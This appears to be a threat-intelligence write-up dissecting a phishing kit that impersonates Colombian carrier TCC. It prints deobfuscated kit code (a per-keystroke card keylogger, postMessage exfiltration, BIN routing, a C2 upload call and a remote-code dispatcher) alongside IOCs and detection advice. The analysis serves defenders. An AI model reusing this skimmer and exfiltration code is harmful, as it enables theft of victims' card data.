Full technical breakdown of an active Phishing-as-a-Service kit targeting Colombian banking customers. The kit impersonates logistics company TCC, runs a real-time card keylogger via an obfuscated runtime, routes victims by BIN prefix, and exfiltrates data through postMessage to a Chinese-built multi-tenant C2 platform at tcc-ayv.cc. Three files landed on my desk: an outer wrapper page, a payment form, and an 8,000-line obfuscated JavaScript runtime. What they describe, once unwound, is a complete Phishing-as-a-Service (PhaaS) platform โ professionally built, actively operated, and precisely targeted at Colombian banking customers. The lure is a fake delivery fee page impersonating TCC (Transportadora Colombia de Carga), one of Colombiaโs largest logistics companies. The infrastructure โ This post walks through every layer, from the delivery mechanism to the decoded payloads. Before touching any code, itโs worth understanding what the victim sees. The page presents itself as a delivery address update portal for TCC. The scrolling ticker banner at the top reads (translated from Spanish): โAddress Update Service | We detected that the delivery address for your package is incomplete. To continue with delivery, we need to confirm and update the recipient information as soon as possible. Your package delivery is temporarily suspended at no additional cost. However, if the update is not completed today, a daily storage fee of $5,000 COP will be charged. Once the information is verified, delivery will resume automatically within 24 hours.โ This is a classic urgency + loss aversion social engineering pattern. The victim is told: That micro-amount is intentional. Itโs psychologically trivial โ just enough to not raise suspicion, while still harvesting full card credentials for later high-value fraud. The page reinforces legitimacy with: The file This two-layer architecture is deliberate. The inner iframe renders the victim-facing page, while the outer Vue shell acts as the operatorโs control plane โ it receives all data exfiltrated from the inner page via The Cloudflare Beacon token is identical across both the shell and the inner page โ confirming they share a single Cloudflare account. The Every single element in All images are served from CSS comments throughout the file are written entirely in Mandarin: These are not auto-generated โ they represent the kit developerโs internal documentation. Someone fluent in Mandarin built this template and is iterating on it. The four fields marked This is the most technically significant artifact. At 8,368 lines, itโs a fully obfuscated JavaScript engine powering the entire PhaaS platform. Letโs dissect it layer by layer. The obfuscation method is string array rotation โ a classic pattern from obfuscator.io: The effect: all string literals vanish from the code. Every identifier, method name, and event string is replaced by a function call that decodes it at runtime. The checksum-based rotation ensures the array is in the correct order before execution begins. The runtime also bundles lodash 4.17.21, SparkMD5, and uuid v4 โ legitimizing its presence in network traffic and adding utility for hashing and session management. This is the most dangerous component. The critical behavior: data is exfiltrated on every keystroke, not just on submit. If a victim types their card number and then closes the tab without pressing the button, the operator already has it. The The Chinese debug string All data leaves through The On submit, the runtime serializes every captured field into a structured payload and fires it via This is the most operationally interesting discovery. The โPagar $3.820,00 COPโ button carries a Decoded ( This is a BIN (Bank Identification Number) routing system. The operator has pre-configured which card prefixes trigger which downstream flows: The โwesternโ route likely refers to a different phishing flow optimized for cards associated with Western-affiliated processors. The operator knows which BIN ranges are worth more, which ones will trigger fraud detection, and routes victims accordingly โ all transparently to the victim, who just sees a loading spinner. The endpoint The path prefix The This enables real-time attacks such as: This is not theoretical โ the pay buttonโs No attribution is being made here โ but the following signals are worth documenting for analysts: The most likely model: a Chinese-developed PhaaS platform sold or licensed to Latin American threat actors who customize it per campaign. For SOC / email security: For EDR / browser security: For card fraud / banking: Network: This kit represents a maturation point in PhaaS infrastructure for the Latin American market. The combination of: โฆsuggests a platform being actively developed and maintained, not a one-off kit. The pricing lure ($3,820 COP โ $0.90 USD) and the $5,000 COP/day storage threat are psychologically refined โ enough research went into this to understand Colombian consumer psychology. The most actionable signal for threat hunters: the Analysis performed on static samples only. No contact was established with C2 infrastructure during analysis. PhaaS in the Wild: Dissecting the TCC Payment Page Phishing Kit
Overview
tcc-ayv.cc โ is a drag-and-drop phishing builder with real-time card capture, BIN-based routing, and operator-controlled remote code execution. All comments in the source are written in Mandarin Chinese.
File Inventory
File Role my.tcc-ayv.cc_cc_.htmlOuter wrapper / kit shell (Vue 3) index.htmlPhishing page โ fake TCC payment form runtime.jsObfuscated PhaaS runtime โ keylogger + exfiltration engine
1. The Social Engineering Lure
2. Infrastructure โ The Kit Shell
my.tcc-ayv.cc_cc_.html is not the phishing page itself. Itโs the delivery container โ a Vue 3 SPA shell that embeds the actual page inside a fullscreen <iframe>:<!-- Outer shell: fullscreen iframe embedding the phishing page -->
<div style="width: 100vw; height: 100vh; overflow: hidden;">
<iframe src="./my.tcc-ayv.cc_cc__files/index.html"
class="w-screen h-screen overflow-hidden animate__animated"
style="border: none;">
</iframe>
</div>postMessage and forwards it upstream.Platform Fingerprints
Indicator Value Kit domain tcc-ayv.ccCloudflare Beacon token e663e852282346169f34735a7c4d2eb3Vue build hash (JS bundle) index-B1veIbDR.jsCSS bundle hash index-C6qrI_xe.cssRuntime path pattern /websites/{campaign-uuid}/runtime.jsCampaign UUID (this sample) b53a5802-81d8-43e8-8f2e-f733b3d0cf7b/websites/{uuid}/ path structure reveals a multi-tenant platform: each campaign operator gets their own UUID namespace.
3. The Phishing Page โ
index.htmlDOM Fingerprinting โ The Builderโs Signature
index.html carries two custom attributes that are the kit builderโs signature:<input
data-alias="ๅงๅ"
data-sensitive="true"
data-user="true"
hacker-id="2bc73821-db07-46ca-afd2-7688a1569216"
hackerid="2bc73821-db07-46ca-afd2-7688a1569216"
id="cardHolder"
name="holder"
...
/>
hacker-id / hackerid: UUID generated by the builder platform for each DOM element. The runtime uses these to identify, track, and remotely control individual elements.data-user="true": Marks this field as user input that should be captured and exfiltrated.data-sensitive="true": Flags the field as sensitive โ the runtime treats it specially in its payload serialization.data-alias="ๅงๅ": Mandarin for โFull Nameโ โ the human-readable alias used by the operatorโs control panel to label captured data.assets/hacker-resources/{uuid}.png โ a flat asset CDN organized by UUID, consistent with an operator-managed content platform.Chinese Language Markers
/* ๅฏผ่ชๆ */ /* Navbar / Navigation bar */
/* ๆฏไปไฟกๆฏๅบๅ */ /* Payment information area */
/* ๆฏไป่กจๅ */ /* Payment form */
/* ๆฏไปๆ้ฎ */ /* Pay button */
/* 3D Secure ๅฎๅ
จ่ฎค่ฏๅพ็ */ /* 3D Secure certification image */
/* ๆฐๅข๏ผTCC ๅฟ็ซฅๅ
ฌ็ๅฎฃไผ ๅคงๅพ */ /* New: TCC children's charity promo banner */
/* Bancolombia ๆ็ไธๅบ */ /* Bancolombia benefits section */
/* ้กต่ */ /* Footer */Form Fields โ Collected Data
data-user="true" data-sensitive="true" are the exfiltration targets:Field ID Name attribute Data alias Type Validation cardHolderholderๅงๅ (Full Name)text maxlength=50 cardNumbercardcardtext maxlength=19 expiryDateexpireๆๆๆ (Expiry date)text MM/AA format cvvcvvcvvnumber minlength=3, maxlength=4
4. The Runtime โ
runtime.js4.1 Obfuscation Technique โ String Array Rotation
// 1. All strings are centralized in a flat array
function _0x4667() {
var _0x3288bc = [
"apply", "740uaIdjC", "length", "3852499DMQQJd",
"__esModule", "98613tciebl", "188LibTXu", "construct", ...
];
_0x4667 = function() { return _0x3288bc; };
return _0x4667();
}
// 2. An IIFE rotates the array at runtime until a checksum matches
(function(_0x6200fd, _0x20873a) {
while (!![]) {
try {
var _0x294258 = -parseInt(_0x237d0a(236)) / 1 *
(-parseInt(_0x237d0a(232)) / 2) + ...;
if (_0x294258 === _0x20873a) break;
else _0x401e03["push"](_0x401e03["shift"]());
} catch(_0x4a4bad) {
_0x401e03["push"](_0x401e03["shift"]());
}
}
})(_0x4667, 463797); // 463797 is the target checksum
// 3. Strings are accessed by index through a decoder function
function _0x4af2(_0x1e355c) {
_0x1e355c = _0x1e355c - 215;
return _0x46674c[_0x1e355c]; // offset-indexed access
}4.2 Class
HackerInput โ Real-Time Card KeyloggerHackerInput instantiates itself on DOMContentLoaded and immediately attaches event listeners to every field marked data-user="true":// Deobfuscated equivalent:
class HackerInput {
constructor() {
// Find all user-marked input fields
const userFields = Array.from(
document.querySelectorAll('[data-user=true]')
).filter(node => node.getAttribute('data-enabled-group') !== 'true');
// Attach listeners to every field
for (const field of userFields) {
this.listenInput(field);
}
}
listenInput(field) {
field.addEventListener('input', (e) => {
const payload = {
alias: field.getAttribute('data-alias') || field.name,
sensitive: field.hasAttribute('data-sensitive') &&
field.getAttribute('data-sensitive') === 'true',
value: field.value.trim(),
name: field.name
};
// Persist to localStorage for session recovery
localStorage.setItem(field.name.toUpperCase(), payload.value);
// Exfiltrate IMMEDIATELY on every keystroke
Runtime.Instance.sendEvent('input-changed', payload);
// Special trigger: card number โฅ 6 digits โ notify operator
if (payload.value.replace(/\s/g,'').length >= 6
&& field.name === 'card') {
sendEvent('logo', { event: 'DOMContentLoaded', meta: {} });
}
});
}
}localStorage persistence means a page refresh doesnโt lose partial data โ the runtime re-populates fields from local storage on load."็จๆทๆญฃๅจ่พๅ
ฅ๏ผ" (โUser is typing:โ) appears in the deobfuscated output, confirming real-time monitoring was an explicit design goal.4.3
sendEvent() โ The Exfiltration Channel// Deobfuscated:
function sendEvent(eventName, data) {
window.parent.postMessage(
{
event: eventName,
data: data,
source: 'hacker-runtime' // โ identification tag
},
'*' // โ wildcard origin: any parent frame accepted
);
}window.parent.postMessage. This is architecturally elegant from an attackerโs perspective:
fetch() or XMLHttpRequest to suspicious domainsmessage event handler"*" target origin means the kit doesnโt need to hardcode its own domain into the inner pagesource: 'hacker-runtime' tag is used by the parent shell to distinguish kit events from noise โ only messages with this source tag are processed.4.4
submitForm() โ Full Card Dump on Submit// Deobfuscated:
function submitForm() {
if (!submitCheck()) return;
clearTipNodes();
// Collect all user-marked input nodes
const inputs = HackerInput.Instance.userInputs;
const payload = [];
for (let i = 0; i < inputs.length; i++) {
payload.push(makeInputNodePayload(inputs[i]));
}
// Also collect grouped/composite fields
payload.push(...HackerInput.Instance.compositionGroupValue());
// Exfiltrate complete card payload via postMessage
Runtime.Instance.sendEvent('submit-form', payload);
}sendEvent. The makeInputNodePayload function captures not just the value but also the fieldโs alias, whether it was marked sensitive, and its DOM name โ giving the operator a clean labeled dataset.4.5 The Pay Button โ Hidden BIN Routing Logic
data-trigger-code attribute containing a base64 + URL-encoded JavaScript payload that executes before submitForm():<button
data-trigger-code="Y29uc3QlMjBncm91cEElMjAlM0QlMjAlNUIl..."
data-trigger-event="submit-form"
data-trigger-timing="click"
data-trigger-type="custom">
Pagar $3.820,00 COP
</button>base64 โ URL decode):// BIN-based routing script โ runs on every button click
const groupA = [
"409355", "452516", "232202",
"442732", "469767", "434769", "223108",
]
const groupB = [
"528892",
]
const bannedStart = ["1", "6", "7", "8", "9", "0"]
const cardInputNode = document.querySelector('input[name="card"]')
const val = cardInputNode.value.trim().replace(/\s/g, "")
// Step 1: reject invalid card prefixes
if (bannedStart.some(num => val.startsWith(num))) {
route("ๅก้") // "Wrong card" โ error page
return
}
// Step 2: groupA BINs โ alternate flow (translated: "switch western")
for (const elem of groupA) {
if (val.startsWith(elem)) {
route("ๆข๐ด๐่ฅฟ้จ") // "Switch ๐ด๐ Western"
return
}
}
// Step 3: groupB BINs โ credit card switch flow
for (const elem of groupB) {
if (val.startsWith(elem)) {
route("ๆขไฟก็จๅก") // "Switch credit card"
return
}
}
// Step 4: card passes all filters โ submit for exfiltration
submitForm()Group BIN Prefixes Action Chinese Label Banned Cards starting with 1,6,7,8,9,0Reject ๅก้ (โWrong cardโ)Group A 409355, 452516, 232202, 442732, 469767, 434769, 223108Alternate route ๆข๐ด๐่ฅฟ้จ (โSwitch westernโ)Group B 528892Credit card switch ๆขไฟก็จๅก (โSwitch credit cardโ)Default All other Visa/MC/Amex Submit & exfiltrate โ 4.6
FsUpload โ File Upload to C2 Backend// Deobfuscated:
async uploadFile(file) {
const hash = localStorage.getItem('hash'); // operator session token
const formData = new FormData();
formData.append('file', file);
const response = await fetch(
'/wu/openapi/website-upload/' + hash,
{ method: 'POST', body: formData }
);
const result = await response.json();
return result.data; // returns uploaded file URL
}/wu/openapi/website-upload/{hash} is the platformโs backend file storage API. The hash token is a session identifier stored in localStorage that ties the upload to a specific campaign. This facility can be used to:
takePhoto (another method present in the runtime)/wu/ is consistent with Chinese-origin backend frameworks โ seen in platforms like WuJie, WuDi, and similar Chinese-developed SaaS infrastructure.4.7
Dispatcher.act() โ Operator Remote Code Execution// Deobfuscated:
class Dispatcher {
// Receives postMessage events from the parent frame
handleMessage(event) {
if (event.data.source !== 'hacker') return; // validates origin
this.callMethod(event.data.event, event.data.data);
}
// "act" handler: executes arbitrary operator-sent code
act(payload) {
const fn = new Function(
'event',
decodeURIComponent(atob(payload.code)) // base64 โ URL decode โ eval
);
fn(...payload.args);
}
}act method is the most alarming capability in the kit. The operatorโs control panel can push a postMessage into the inner iframe at any time during the victimโs session, containing base64-encoded JavaScript that gets executed in the victimโs browser context.
data-trigger-code mechanism uses the exact same decodeURIComponent(atob(...)) pattern, confirming itโs a platform-wide feature in active use.
5. Attack Chain
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ VICTIM โ
โ โ
โ 1. Receives SMS/WhatsApp: "Your TCC package is suspended, โ
โ update your address to avoid storage fees" โ
โ โ
โ 2. Clicks link โ lands on tcc-ayv.cc/[campaign] โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโฌโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ
โผ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ OUTER SHELL (Vue SPA โ tcc-ayv.cc) โ
โ โ
โ โข Renders fullscreen iframe โ
โ โข Listens for postMessage with source='hacker-runtime' โ
โ โข Forwards captured data to C2 โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโฌโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ iframe
โผ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ INNER PAGE (index.html + runtime.js) โ
โ โ
โ 3. Victim sees convincing TCC payment page โ
โ โ
โ 4. Victim starts typing card number โ
โ โ HackerInput fires 'input-changed' on every keystroke โ
โ โ Data saved to localStorage (session persistence) โ
โ โ postMessage to parent shell (no outbound HTTP) โ
โ โ
โ 5. Victim enters all 4 fields (name, card, expiry, CVV) โ
โ โ
โ 6. Victim clicks "Pagar $3,820 COP" โ
โ โ BIN routing script runs โ
โ โ If card passes filter โ submitForm() โ
โ โ Complete card payload โ postMessage to parent โ
โ โ
โ 7. Optional: Dispatcher.act() pushes RCE payload in real-time โ
โ โ OTP interception overlay, redirect, screenshot, etc. โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโฌโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ postMessage
โผ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ C2 โ tcc-ayv.cc backend โ
โ โ
โ โข Operator sees real-time card data stream in dashboard โ
โ โข Data: cardholder name, PAN, expiry, CVV โ
โ โข File uploads stored at /wu/openapi/website-upload/ โ
โ โข Operator can push RCE payloads back to active sessions โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
6. Threat Actor Attribution Signals
Signal Detail Confidence Language All CSS comments, debug strings, and internal variable names in Simplified Mandarin Chinese High Runtime strings "็จๆทๆญฃๅจ่พๅ
ฅ๏ผ" (โUser is typingโ), "็จๆทๆญฃๅจๆปๅจๅฑๅน" (โUser is scrolling screenโ), "ๅก้" (โWrong cardโ) in deobfuscated outputHigh Backend path /wu/openapi/ prefix consistent with Chinese SaaS backend frameworksMedium Builder platform hacker-id, hacker-resources, hacker-runtime naming throughout โ consistent with a proprietary Chinese-developed kit platformHigh BIN routing labels Operator-defined routes labeled in Chinese ( ๆข่ฅฟ้จ, ๆขไฟก็จๅก)High Targeting Kit adapted for Colombia with accurate local brand cloning โ suggests regional resale/distribution model Medium
7. MITRE ATT&CK Mapping
Technique ID Implementation Phishing: Spearphishing Link T1566.002 Delivery notification lure linking to fake TCC page Input Capture: Web Portal Capture T1056.003 HackerInput class captures keystrokes on marked fieldsObfuscated Files or Information: JavaScript Obfuscation T1027.007 Full string array rotation, checksum-seeded deobfuscation Command and Scripting Interpreter: JavaScript T1059.007 Dispatcher.act() executes operator-pushed base64 payloadsExfiltration Over Web Service T1567 Card data transmitted via postMessage to parent frameData Staged: Local Data Staging T1074.001 localStorage used to persist and recover captured card dataServer Software Component T1505 Multi-tenant /websites/{uuid}/ path per campaign operatorAcquire Infrastructure: Domains T1583.001 tcc-ayv.cc registered to impersonate legitimate TCC brand
8. Indicators of Compromise (IOCs)
Domains
tcc-ayv.cc # PhaaS platform / C2Cloudflare
Beacon Token: e663e852282346169f34735a7c4d2eb3Campaign Identifiers
Campaign UUID: b53a5802-81d8-43e8-8f2e-f733b3d0cf7b
Runtime path: /websites/b53a5802-81d8-43e8-8f2e-f733b3d0cf7b/runtime.jsNetwork Paths (C2 Backend)
/wu/openapi/website-upload/{hash} # File upload endpoint
/websites/{uuid}/runtime.js # Campaign runtime deliveryDOM Signatures (HTML detection)
Attribute: hacker-id="*" (present on all DOM elements)
Attribute: hackerid="*" (duplicate, normalized form)
Path: assets/hacker-resources/*.png
CSS id: #dynamic-styles (builder-injected style block)JavaScript Signatures (runtime detection)
String: "hacker-runtime" (postMessage source identifier)
String: "hacker-built-in-button" (internal component class)
String: "็จๆทๆญฃๅจ่พๅ
ฅ๏ผ" (Mandarin debug string)
Pattern: decodeURIComponent(atob(โฆ)) (payload execution pattern)
Event: source === 'hacker' (Dispatcher message filter)BIN Prefixes in Active Use (this campaign)
409355 452516 232202 442732 469767 434769 223108 528892
9. Detection Recommendations
tcc-*[a-z]{2,4}\.cc (typosquat class)tcc.com.co domains
postMessage events with source === 'hacker-runtime' in browser telemetrynew Function(decodeURIComponent(atob(...))) pattern โ rare in legitimate codelocalStorage writes of keys matching CARD, CVV, EXPIRE, HOLDER from third-party domains
409355, 452516, 442732, 469767, 434769 (Visa) and 232202, 223108 (MC 2-series) were targeted in BIN routing โ monitor for unusual activity on these ranges
tcc-ayv.cc and any subdomainsX-Campaign-UUID or path parameters matching UUID v4 pattern on unknown domains
10. Key Takeaways
Dispatcher.act()hacker-id attribute on DOM elements. Itโs present on every element built with this platform, across all campaigns. That single attribute is an unambiguous fingerprint of this kit family.
threat-intel phishing phaas colombia banking reverse-engineering obfuscation card-skimmer